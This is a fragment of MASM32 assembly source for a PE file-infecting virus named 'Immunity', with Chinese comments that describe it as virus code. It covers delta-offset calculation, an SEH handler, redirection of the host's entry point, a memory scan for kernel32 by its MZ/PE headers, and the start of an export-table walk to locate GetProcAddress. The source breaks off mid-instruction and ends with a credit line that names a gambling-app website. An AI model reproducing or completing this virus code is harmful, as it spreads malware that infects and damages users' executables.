.386
.model flat,stdcall
option casemap:none
include \masm32\include\
include \masm32\include\
include \masm32\include\
includelib \masm32\lib\
includelib \masm32\lib\
;这是一些相关的定义,
;------------------------------------(上面的)--
.data
mcaption db "你好!!!!!!!!!!1!",0
mtitle db "*标题*",0
; 主程序所用到的一些变量
;------------------------------------(上面的)--
.code
host_start:
invoke MessageBox,NULL,offset mcaption,offset mtitle,64
invoke ExitProcess,0
;主程序代码,只是简单的打一串字符而已。
;病毒代码运行完后,就会跳到此处执行。
;------------------------------------(上面的)--
Immunity SEGMENT PARA USE32 'Immunity'
assume cs:Immunity,ds:Immunity
vstart:
push ebp
push esp
call nstart
nstart:
;;;;;;;;;;;;;
pop ebp
sub ebp,offset nstart
;病毒中常用的一种方法。得到一个偏移差。
;程序后面用到的所有变量都需要加上个这偏移差
;------------------------------------(上面的)--
assume fs:nothing ;设置SEH,发生异常可以直接返回原入口.
lea ebx, SEH[ebp]
push ebx
push fs:[0]
mov fs:[0],esp
mov OldEsp[ebp],esp
;=========================
; * 更改程序入口地址*
cmp old_base[ebp],0
jnz gonext
mov old_base[ebp],400000h
gonext:
cmp old_in[ebp],0
jnz change
mov old_in[ebp],1000h
change:
mov eax,old_base[ebp]
mov des_base[ebp],eax
mov eax, old_in[ebp]
mov des_in[ebp],eax
;变量定义的的意思见后方
;程序开始执行时,当前程序的原入口地址会放到old_base+old_in中
;由于程序中old_base_in有别的用途,因此将此地址存放到
;des_base_in,以便最后跳回原程序入口。
;------------------------------------(上面的)--
;获得KERNEL32地址及所需的API函数地址
mov eax,[esp+10h] ;//取Kernel32返回地址
and ax,0f000h
mov esi,eax ;//(不精确)
LoopFindKernel32:
sub esi,1000h
cmp word ptr[esi],'ZM' ;//搜索EXE文件头
jnz short LoopFindKernel32
GetPeHeader:
movzx edi,word ptr[esi+3ch]
add edi,esi
cmp word ptr[edi],'EP' ;//确认是否PE文件头
jnz short LoopFindKernel32 ;esi->kernel32,edi->kernel32 PE HEADER
;//////////////////////////////////////////////////查找GetProcAddress函数地址
mov vKernel32[ebp],esi
GetPeExportTable:
mov ebx,[edi+78h];4+14h+60h
add ebx,vKernel32[ebp] ;//得到输出函数表
mov vExportKernel[ebp],
immunity代码(柴婷婷) 来自beplayapp体育下载www.apt-nc.com转载请标明出处.